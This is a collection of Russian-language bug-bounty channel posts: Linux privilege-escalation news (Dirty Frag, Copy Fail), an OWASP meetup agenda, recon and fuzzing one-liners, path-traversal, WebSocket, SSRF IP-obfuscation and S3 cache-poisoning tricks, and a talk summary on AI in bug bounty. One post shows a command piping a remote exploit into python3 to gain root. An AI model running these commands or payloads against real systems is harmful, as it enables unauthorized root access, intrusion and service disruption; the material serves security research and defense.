🕷 BugBountyRu

Dirty Frag: Universal Linux LPE

Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.

Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.

Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.

До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом.

OWASP RUSSIA MEETUP: AI в анализе кода, SSR-безопасность, атаки на CMS, Telegram-фишинг и ML в AppSec

14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.

В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.

Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет

19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT

Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.

Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.

19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix

Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.

Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.

20:35 — Перерыв

20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт

Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.

Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.

21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8

QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.

Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.

22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex

Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.

Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.

22:50 — Завершение

Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.

До встречи 14 мая!

🕷 Топ-1 рейтинга платформы

Подвели итоги площадки BugBountyRu 🧮

В первом квартале рейтинг возглавил багхантер Ashgar! В качестве приза дополнительно начисляем 31337 рублей.

Поздравляем и желаем всем больше интересных багов в следующем квартале 💰

➡️ Канал в МАХ

Некоторые эндпоинты приложений и API принимают только определённые типы контента — поэтому всегда проводи фаззинг с разными значениями заголовка Content-type:

ffuf -u https://api.example.com/api/PATH -X "POST" -H "Content-Type: CT" -w /path/to/content-types:CT -w /path/to/wordlist:PATH

➡️ Канал в МАХ

Copy Fail: новая LPE-уязвимость в Linux (root на любом Linux в один клик)

Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.

Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.

Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.

Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

🕷 Мёртвый поддомен — это не мусор, а источник информации

Хост, который не резолвится, всё ещё может быть полезной зацепкой. Он показывает, как устроена инфраструктура и где искать дальше.

Разберем на примерах ⬇️

1️⃣ Заголовки ответа могут раскрывать внутренние хосты

Публичный эндпоинт возвращает:

302 Found
X-Backend-Host: auth-prod-use1-02.internal.example.com

Формально он «не существует». Фактически — это утечка структуры системы:

▪️ Есть сервис auth
▪️ Используется prod окружение
▪️ Есть регион/кластер use1
▪️ Публичная система всё ещё опирается на этот хост

2️⃣ JS и конфиги могут хранить хосты, которые не резолвятся

Ты нашел очередной поддомен, который не резолвится:

https://payments-api.dev.example.com

Что это даёт:

▪️ Есть или был сервис payments-api с dev окружением
▪️ Фронт всё ещё хранит старые конфиги
▪️ Возможны связанные хосты:

payments-api.staging.example.com
payments.dev.example.com

Почему «мёртвый» ≠ бесполезный

Хост может не резолвиться снаружи, но:

▪️ Резолвиться внутри сети
▪️ Использоваться во взаимодействиях бэкенда
▪️ Быть в allowlist или routing-правилах
▪️ Помогать определить границы доверия

📌 Пример из практики

Багхантер использовал SSRF + список «мертвых» хостов. Снаружи они были недоступны. Но через SSRF — резолвились и открывали доступ к внутренним сервисам.

➡️ Канал в МАХ

Dev/staging окружение часто менее защищено, чем прод. Используй простой однострочник, чтобы быстро обнаружить свою цель 👇

subfinder -d target.com -silent | grep -iE 
"(dev|stage|stag|uat|test|demo|sandbox|beta|internal)" | httpx -silent -status-code -title

➡️ Канал в МАХ

Почему ты никогда не видишь chunked HTTP-ответы в Burp 🤔

По умолчанию Burp скрывает их из интерфейса. Для решения зайди в настройки, включи эту опцию — и chunked-ответы сразу станут доступны⬇️

Settings → Network → HTTP → Streaming responses

Фича особенно полезна при тестировании на request smuggling и другие техники, где чанки играют роль.

Что это такое?

HTTP Transfer-Encoding запрос и заголовок ответа определяют форму кодирования, используемую для передачи сообщений между узлами сети.

На практике он используется редко, и в таких случаях почти всегда используется с chunked. В Burp по умолчанию он их «собирает» и показывает как обычный ответ.

HTTP/2 запрещает любое использование Transfer-Encoding заголовка. HTTP/2 и более поздние версии предоставляют более эффективные механизмы потоковой передачи данных, чем передача чанками.

➡️ Канал в МАХ

Так как по жизни я неисправимый оптимист (с периодическими фаталистическими настроениями), то не могу не отметить плюсы того, насколько ИИшечка входит в нашу багбаунтевскую жизнь. Хочу подчеркнуть, что прежде всего речь идет о таком замечательном инструменте как AI-агент, а также о том, что он может дать багхантеру.

Начнем с простого:
1) Рекон и все такое. Сейчас можно дать задание AI-агенту найти и проанализировать весь скоуп и он это сделает. А если не сможет с наскока, то вежливо спросит: "Товарищ кожаный мешок, мне бы тут ключи на шодан, да на вирустотал, подкинь по-братски". В некоторых случаях, даже спрашивать не будет, а сам все сделает. Таким образом, мы довольно быстро с помощью только одного инструмента существенно расширяем поверхность атаки.
2) Если вы понимаете, что не понимаете, куда дальше копать, то все найденное можно передать агенту и попросить его нагенерировать гипотез или идей для того, чтобы проверить уязвимость. Будут ли они совпадать с вашими? Скорее всего да, но эти идеи он может протестить и сразу сказать, стоит ли копать дальше или стоит посвятить вечер чему-то более полезному
3) Агент может закрыть ваши слабые стороны, поэтому, почему бы не настроить его таким образом, чтобы он занимался тем, что вам не нравится/не хочется? Уязвимости могут быть в самых разных местах и, кто знает, где он может их найти

Это не все плюсы, что уж там. Как и любой инструмент, умелое обращение с ним может показать шикарные результаты - при должной настройке он пропылесосит вам все и вся (не без вашей помощи естественно), а также найдет уязвимости, на которые вы бы потратили кучу времени. Багхантеры, которые сейчас умеют применять таких агентов в поиске уязвимостей, могут получить неплохую прибавку в количестве и качестве сданных уязвимостей.

Но что мы все о багхантерах, давайте поговорим и о вендорах, не зря же тут про другую сторону багбаунти рассказывается.

Плюс, на мой взгляд, довольно большой и очевидный – Мы будем получать больше качественных и критичных уязвимостей вместе с нейрослопом. Особенно это видно на текущем "мертвом" квартале(Q1) - количество выплат и найденных в бб критических уязвимостей, несоизмеримо больше, чем годом раньше, притом часть из них точно была докручена с помощью ИИ.

И все это классно, круто и помогает нам становится секьюрнее. Но, как говорится есть один (не один) нюанс. В будущем все это может повлиять на рынок багбаунти и в принципе на саму ее концепцию.

Позвольте, задам несколько вопросов:
1) Что будет делать вендор, если выплаты за такие качественные уязвимости значительно превысят прогнозы годового бюджета на багбаунти?
2) Что будут делать багхантеры, когда компании внедрят поиск уязвимостей с помощью таких же AI-агентов в свои процессы VM?
3) Что произойдет, когда затраты на токены станут больше, чем получаемые баунти за уязвимости?
4) А нужна ли будет багбаунти компании, когда несколько купленных и настроенных агентов будут справляться лучше, чем 50/80/95% багхантеров?
5) А где и как будут учится юные багхантеры, когда порог входа вырастет еще больше?

Есть еще много вопросов, но, пожалуй, хватит на сегодня. Мы живем в очень интересное время, особенно, если задуматься о том, что такой качественный скачок произошел в последние несколько месяцев.
Выводы, как говорится, сделайте самостоятельно. Успевайте, нас ждет много интересного впереди.

🕷 ServerClient-side path traversal: баги, основанные на маршрутизации на стороне клиента

Класс багов, связанный с обходом пути на клиенте, становится всё более актуальным.

Классический path traversal (../../../file) работает на сервере. Здесь идея та же, но на стороне клиента.

👉 Пользовательский ввод влияет на путь → меняется, куда приложение делает запрос или редирект.

💡 В чём суть

Если приложение использует пользовательский ввод для формирования пути — появляется точка атаки.

Пример — сброс пароля:

https://target.com/reset/token?user=victim&Token=810128475189

Если значение Token участвует в формировании пути или редиректа, его можно изменить:

https://target.com/reset/token?user=victim&Token=810128475189%2F..%2F..%2Fuser

В результате клиент сформирует запрос:

https://target.com/user

💥 Где появляется импакт

Сам по себе редирект может быть безобидным. Но как только он используется вместе с другими механизмами, появляется реальный импакт:

➕вместе с уязвимостью open redirect,
➕при загрузке ресурсов (CSS/JS),
➕в логике маршрутизации SPA,
➕при динамической подгрузке данных.

Ресерчи по теме:
🔗 Client-Side Path Traversal: From Session Deletion to Full Account Compromise
🔗 Client Side Path Manipulation
🔗 Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF

🕷 Веб-сокеты для багхантера

В отличие от обычного HTTP, где каждый запрос требует отдельного ответа, WebSocket создаёт постоянный двунаправленный канал связи.

После установки соединения клиент и сервер могут обмениваться данными напрямую — без повторных HTTP-заголовков и новых запросов.

Как устанавливается соединение ⬇️

Соединение начинается с обычного HTTP-рукопожатия. Клиент отправляет запрос:

GET /chat
Connection: Upgrade
Upgrade: websocket

Если сервер поддерживает веб-сокеты, он отвечает:

HTTP/1.1 101 Switching Protocols

После этого соединение остаётся открытым и дальнейший обмен идёт по протоколу ws:// или wss://.

🤑 Почему веб-сокеты часто приводит к багам

Разрабы обычно проверяют пользователя во время handshake, но забывают проверять сообщения внутри соединения. Из-за этого появляются типичные уязвимости.

➡️ CSWSH (Cross-Site WebSocket Hijacking)

Если сервер использует только файлы cookie для установления соединения и игнорирует заголовок Origin, ты можешь заставить браузер жертвы открыть WS-соединение и украсть данные.

➡️ IDOR и несанкционированный доступ

Если сервер принимает команды без проверки прав пользователя, можно отправлять запросы напрямую через веб-сокеты.

{"user_id": 1337, "action": "delete"}

➡️ Инъекции

Иногда веб-сокеты передаются дальше во внутренние сервисы или админ-панели без фильтрации. Это может приводить к SQLi, CMDi и другим багам.

⚙️ Тулчейн

✅ Burp Suite: WebSockets History и Repeater — твои лучшие друзья. Перехватывай, изменяй и удаляй фреймы

✅ STEWS: автоматически ищет веб-сокет эндпоинты и собирает фингерпринты

✅ Wscat: CLI-клиент для быстрого тестирования веб-сокет соединений

✅ WebSocket Turbo Intruder: расширение для фаззинга веб-сокет сообщений с использованием кастомного Python-кода

🔗 Пак лабораторий PortSwigger по теме

🕷 Поиск синтаксических ошибок: чек-лист для багхантера

Syntax confusion возникает, когда два или более компонента системы по-разному интерпретируют одни и те же входные данные из-за неоднозначных или противоречивых синтаксических правил.

Разногласия могут возникать между браузерами, прокси-серверами, веб-серверами, фреймворками, библиотеками или даже различными фичами в одном и том же стеке выполнения.

Начинай поиск синтаксических ошибок с этих простых шагов — они помогут выявлять несоответствия в работе парсера и превратить их в практические уязвимости ⬇️

1️⃣ Сгенерируй семантически эквивалентные варианты:

getParam vs getParam[]
:443 vs :000443

2️⃣ Обрати внимание на нормализацию на каждом этапе: браузер, CDN, прокси, фреймворк приложения, библиотека

3️⃣ Намеренно инициируй пути возникновения ошибок (слишком длинные порты, некорректное экранирование) и отметь соответствующее поведение

4️⃣ Собери доказательства: анализ исходных запросов и ответов, поиск различий для выявления неожиданного поведения

Если на двух этапах возникает расхождение в анализе семантического значения входных данных, проверка, примененная на одном этапе, может перестать действовать на другом, создавая тем самым несовместимый путь от «очищенных» входных данных к уязвимому поведению.

(...продолжение обзора выступления Кэти Муссурис про влияние ИИ на отрасль bug bounty)

Затем Кэти показывает структурную проблему bug bounty-рынка. Не весь ИИ полезен: значительная часть моделей и агентов заваливает программы низкокачественными сабмитами – “ИИ-слопом, то есть галлюцинациями, фолсами и лишней работой для триажа. Получается парадокс: с одной стороны, хорошие ИИ-системы реально находят баги быстрее человека; с другой – массовое использование ИИ засоряет каналы отчетности и выжигает защитную сторону, потому что люди-триажеры не успевают разбирать поток. Кэти прямо говорит, что на стороне атакующих ИИ уже выигрывает за счет масштаба, а вот защита отстает, причем избыточная уверенность в ИИ-фильтрах опасна: можно просто отфильтровать и пропустить настоящую уязвимость. При этом нынешние ИИ-сервисы для триажа, как сказано в выступлении, обычно экономят пользователям лишь несколько часов в неделю, то есть пока не дают сопоставимого эффекта на стороне defense.

Дальше Муссурис проводит историческую параллель с пентестами 2000-х. Когда услуги коммодитизировались, инструменты (типа VM и BAS) пытались заменить ручную экспертизу, зарплаты падали или стагнировали, а качество результатов не обязательно улучшалось. По ее мнению, сейчас ИИ может повторить этот цикл в bug bounty: сначала автоматизируются простые находки, потом исчезают начальные уровни багхантеров, а без них не растут новые сильные специалисты. Отсюда один из центральных тезисов презентации: ИИ не просто отбирает часть работы – он может перекрыть весь трек подготовки новых исследователей. Новички больше не смогут зарабатывать на легких багах (а их, по статистике Standoff Bugbounty большинство, хотя число критов тоже понемногу растет), потому что ИИ снимет эти сливки раньше. Средний слой перестанет расти. А без постоянной практики у людей деградируют интуиция, насмотренность и способность находить сложные логические дефекты.

При этом Кэти не скатывается в позицию "запретить ИИ". Наоборот, в презентации есть блок о том, как ИИ может помочь, если использовать его разумно. Говорится, что ИИ может быть полезен в сложных многошаговых сценариях эксплуатации, в триаже, валидации и проверке PoC. Приведены цифры: некий Cybersecurity AI (CAI) показал ускорение в 11 раз, а XBOW заявляет про 80-кратное ускорение. Также автор предлагает смещать применение ИИ влево, то есть интегрировать его в конвейер CI/CD, чтобы находить проблемы еще на этапе разработки, а не только после публикации в bounty-программах. Иначе говоря, ИИ должен не просто участвовать в гонке за выплатами, а помогать снижать количество багов в принципе (кто бы спорил).

Самый спорный, но концептуально важный для доклада вывод – тема безусловного базового дохода. Муссурис называет его “knowledge dividend”, то есть дивидендом от общего человеческого корпуса знаний, на котором обучается ИИ. Логика такая: если ИИ-компании зарабатывают на автоматизации, основанной на знаниях, созданных всем обществом, то часть этой выручки должна возвращаться людям, в том числе тем, кого автоматизация вытесняет (аргументация, знакомая по другим сферам, в которых люди опасается, что ИИ их заменит – художники, писатели, сценаристы и т.п.). В выступлении это подается не как абстрактная социальная мечта, а как способ сохранить культивацию экспертизы, поддержать вытесняемых работников и не дать рынку полностью уничтожить слой профессионалов-людей. Интересно, PHD может рассматриваться как часть такого "возврата"?

Итоговый вывод презентации, по сути, такой: главная угроза – не сам ИИ, а то, как рынок и корпорации встроят его в систему стимулов. Если оставить все как есть, bug bounty превратится в еще одну гигантскую гиг-экономику, где людей сначала используют для накопления знаний и данных, а потом постепенно вытесняют. Если же перестроить правила, то ИИ может стать не могильщиком профессии, а усилителем человека.

#ии #оценказащищенности #проблемыибкомпаний #тенденции #экономика

Наткнулся тут на выступление Кэти Муссурис, которая широко известна в международном ИБ-сообществе, и которая размышляла о том, как ИИ меняет bug bounty, выступая не как красивый помощник для хакеров и защитников, а как сила, которая может резко ухудшить положение людей-исследователей, обесценить их труд и сломать саму систему выращивания экспертизы. Кэти не спорит с тем, что ИИ полезен, но ее тезис в другом: если просто пустить все на самотек, то выиграют масштаб, автоматизация и владельцы платформ, а не безопасность и не люди. Я лет 10 назад написал заметку про ИИ, который заменит пентестера и тезисы Муссурис схожи с теми моими мыслями, но у нее гораздо больше примеров, что и понятно, учитывая ее путь в ИБ. Подумал, что можно и пересказать выступление.

Сначала автор напоминает, как вообще развивалась тема bug bounty. Раньше взлом был уделом немногих, а баги часто искали скорее из интереса, чем ради заработка. Потом появились более современные программы вознаграждений: Google с символическими $1337 в 2010 году, Microsoft BlueHat Prize с призом $250000 в 2011-м, первая круглогодичная программа Microsoft на $100000 в 2013-м, затем Hack the Pentagon в 2016-м. Сегодня disclosure-программы уже закреплены во многих регуляторных практиках, а отдельные компании поднимают выплаты очень высоко: у Apple, как сказано в выступлении, вознаграждения доходят до $2–5 млн (про нелегальные биржи вообще молчу). При этом, по мысли автора, сама по себе модель bug bounty мир безопаснее не сделала: большинство исследователей не зарабатывают на этом "нормальную зарплату", а охота в основном идет за простыми и массовыми багами.

Дальше презентация делает поворот к ИИ, фокусируясь на том, что ИИ уже начал вытеснять людей в классическом поиске уязвимостей, особенно там, где выигрывают скорость, масштаб и потоковая обработка однотипных находок. Автор приводит пример компании XBOW: летом 2025 их ИИ поднялся на 1-е место в таблице лидеров HackerOne и автономно находил и валидировал сотни уязвимостей. Это подается как переломный момент: впервые ИИ не просто помогает, а начинает доминировать в соревновании, где раньше конкурировали люди.

На конкретном кейсе Scoold Кэти показывает, что речь не только о теории. Она говорит, что XBOW эксплуатировал обход аутентификации и произвольное чтение файлов, злоупотребив функцией include в HOCON. Из этого делается вывод, что ИИ уже умеет не только генерировать кучу фолсов, но и добывать реальные, эксплуатационно значимые уязвимости. Особенно хорошо он чувствует себя на классических типах проблем: XSS, path traversal, injection, misconfiguration. За счет массового сканирования, поиска узлов и автоматической валидации ИИ побеждает объемом. То есть не обязательно глубиной мысли – часто именно за счет промышленного конвейера.

Есть и еще более наглядный финансовый пример – смарт-контракты. Со ссылкой на исследование Anthropic в слайдах говорится, что ИИ-агенты нашли эксплойты в блокчейн-контрактах на $4,6 млн. Приводятся и экономические показатели такого подхода: средняя стоимость одного запуска агента – $1,22, средняя стоимость на один уязвимый контракт – $1738, средняя чистая прибыль – $109. Отдельно подчеркивается динамика: стоимость токенов падает на 23% каждые 2 месяца, а доход от эксплуатации якобы удваивается каждые 1,3 месяца. Это один из ключевых тезисов всей презентации: экономика атак начинает улучшаться быстрее, чем экономика человеческого труда в bug bounty.

(продолжение следует...)

ЗЫ. Исследование по отечественной bug bounty можно почитать тут, но тема ИИ там обойдена пока вниманием, что дает нам определенный временной зазор, но небольшой.

#ии #оценказащищенности #проблемыибкомпаний #тенденции

🕷 Использование заголовка List-Unsubscribe в качестве гаджета для XSS и SSRF

List-Unsubscribe — стандартизированный RFC 8058 SMTP-заголовок, который включает URI вида mailto: и HTTP для действий отписки.

Почтовые клиенты и серверная автоматизация используют эти URI в процессах «нажми на эту ссылку» и в HTTP-запросах бэкенда.

➡️ Stored XSS (CVE-2025-68673 в Horde Webmail): внедряем URI вида javascript: в List-Unsubscribe. Когда ссылка отписки отображается в бэкенд/админ-панели, выполняется JS.

➡️ SSRF (Blind SSRF в Nextcloud): когда пользователь кликает по отписке, сервер Nextcloud делает HTTP-запрос на любой URL, который ты указываешь в List-Unsubscribe.

Ты контролируешь таргет, а возможность достучаться до внутренних хостов зависит от настройки Nextcloud allow local remote servers:

▪️ Enabled = internal access
▪️ Disabled = external targets only

P. S. Везде, где поддерживается List-Unsubscribe, проверяй возможность SSRF через target URI и blind XSS через пэйлоады в этом заголовке.

🕷 Shazzer cheat sheet: XSS полиглот + набор мутаций для обхода WAF

Одна из проблем техник байпаса WAF — они быстро устаревают. То, что работало вчера, сегодня уже режется сигнатурами.

Gareth Heyes из PortSwigger подошёл к этому системно: поддерживает актуальную шпаргалку на базе Shazzer, которая помогает тестировать XSS-фильтры через мутации и нестандартные конструкции.

Что внутри полезного:

➡️ XSS-полиглоты для первичного теста фильтрации
➡️ Различные вариации whitespace
➡️ Ломанные кавычки и нестандартное закрытие атрибутов
➡️ Неочевидные символы в protocol handler
➡️ Нестандартные кодировки и трансформации
➡️ Подход для веб-фаззинга, а не просто список пэйлоадов

Главная идея — не «волшебный пэйлоад», а системная генерация мутаций, которые помогают найти слабое место.

Для тестирования кодировок и трансформаций удобно использовать Hackvertor — ускоряет ресёрч и помогает автоматизировать вариации.

🕷 Сломай валидацию: 10 рабочих способов

▪️8.8.1028 → Объединяет 3-й и 4-й октеты: 4 × 256 + 4 = 1028

▪️8.525316 → Объединяет последние три октета в одно десятичное число

▪️0x08.8.004.004 → Шестнадцатеричный + десятичный + восьмеричный (сегмент за сегментом)

▪️0x08.0x08.004.004 → Два сегмента в hex, два в восьмеричном

▪️0x08.010.4.4 → Смешанный hex + восьмеричный + десятичный

▪️134743044 → Полное 32-битное целое представление IP-адреса

▪️0x08080404 → Весь IP закодирован как одно hex-число

▪️010.010.004.004 → Каждый сегмент с ведущим нулём, чтобы форсировать восьмеричную интерпретацию

▪️0x8.0x8.0x4.0x4 → Все четыре октета закодированы индивидуально в шестнадцатеричном виде

▪️8.8.0x404 → Последний сегмент в hex: 0x404 = 1028

✍️ Также можно использовать юникод-цифры вместо обычных. Эти варианты обычно не работают с curl/ping, но могут срабатывать в других библиотеках/языках: ⑧.⑧.④.④, 𝟠.𝟠.𝟜.𝟜.

Автоматизируй работу по байбасу валидации с помощью ipfuscator — простого Go-инструмента для быстрой генерации альтернативных представлений IP-адресов (v4) ⛏

Интересная уязвимость, связанная с кэшированием HTTP ответов из S3, может возникнуть если немного перестараться с настройкой.

Условия:
1) Сайт хранит статику в S3 и по определенным условиям проксирует туда запросы, либо имеет отдельный поддомен, который проксирует запросы на S3 бакет
2) Чтобы не гонять 10 мегабайтные JavaScript файлы, кэшируется контент из S3 для любого HTTP ответа с кодом 200
3) Так как кэшируется только статика - не включаем в ключ кэша cookie или query-параметры

Казалось бы, все в порядке, но проблема заключается в том, что S3 умеет отвечать с кодом 200 не только возвращая контент файла, но еще и при получении другой информации об объекте.
Например, для получения списка тегов достаточно в query-параметры добавить ?tagging, что часто разрешают для неавторизованных запросов.

https://site.tld/static/somefile.js?tagging

В результате, вместо контента файла вернется следующий HTTP ответ:

<?xml version="1.0" encoding="UTF-8"?>
<Tagging xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<TagSet></TagSet>
</Tagging> 

И если так запросить статику на сайте в момент, когда кэш HTTP ответа будет обновляться - это приведет к тому, что всем следующим пользователям вместо JS вернется некорректный ответ и сайт станет недоступен на время жизни зараженного кэша.

Если ?tagging, ?acl и подобные методы возвращают 403, можно попробовать параметры из GetObject API и, например, закэшировать некорректный Content-Type, указав в запросе ?response-content-type=text/html. Это приведет к тому, что браузер откажется выполнять JavaScript с некорректным типом, что также приведет к нарушению работы сайта (это поведение еще зависит от наличия в ответе заголовка X-Content-Type-Options: nosniff).

Как проверить уязвимость и не аффектить реальных пользователей:
1) Находим через архивы устаревшие JS на сайте
2) Так как к ним никто не обращается, следующий запрос будет с обновлением кэша, поэтому сразу запрашиваем с ?tagging или ?response-content-type=text/html
3) Проверяем, что зараженный HTTP ответ возвращается без указания query-параметров
3) Проверяем, что кэш не привязан к текущему пользователю запросив с другого устройства / IP / от имени другого пользователя

Как исправить уязвимость:
1) Убрать из проксируемого HTTP запроса query-параметры при передаче на S3
2) Добавить query-параметры в ключ кэша